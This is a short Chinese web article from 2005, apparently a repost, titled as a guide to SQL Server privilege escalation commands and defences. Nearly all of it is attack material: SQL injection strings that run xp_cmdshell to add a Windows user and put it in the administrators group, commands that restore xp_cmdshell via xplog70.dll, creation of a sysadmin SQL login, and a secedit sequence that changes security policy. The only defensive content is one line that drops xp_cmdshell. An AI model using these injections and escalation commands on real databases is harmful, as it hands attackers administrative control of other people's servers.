SQL Server提升权限相关命令及防范

2005-4-22 06:08 731 0

摘要: 来源:www.21safe.com SQL Server提升权限相关命令及防范 ;exec master..xp_cmdshell "net user name password...

关键词： cmdshell master addextendedproc xplog xp exec name TsInternetUsers administrators 语句

来源:www.21safe.com SQL Server提升权限相关命令及防范 ;exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup administrators name /add"-- 程序代码开启cmdshell的SQL语句 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK 恢复xp_cmdshellExec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK 否则上传xplog7.0.dllExec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll' 堵上cmdshell的SQL语句sp_dropextendedproc "xp_cmdshell" DOS:dir c:/dir d:/dir e:/ net user TsInternetUsers Password /addnet localGroup Administrators TsInternetUsers /add 备份恢复IPSEC secedit /export /CFG c:/tmp.infecho sedenynetworklogonright =>>c:/tmp.infsecedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf SQL:exec master..sp_addlogin UserName,Passwordexec master..sp_addsrvrolemember UserName,sysadmin

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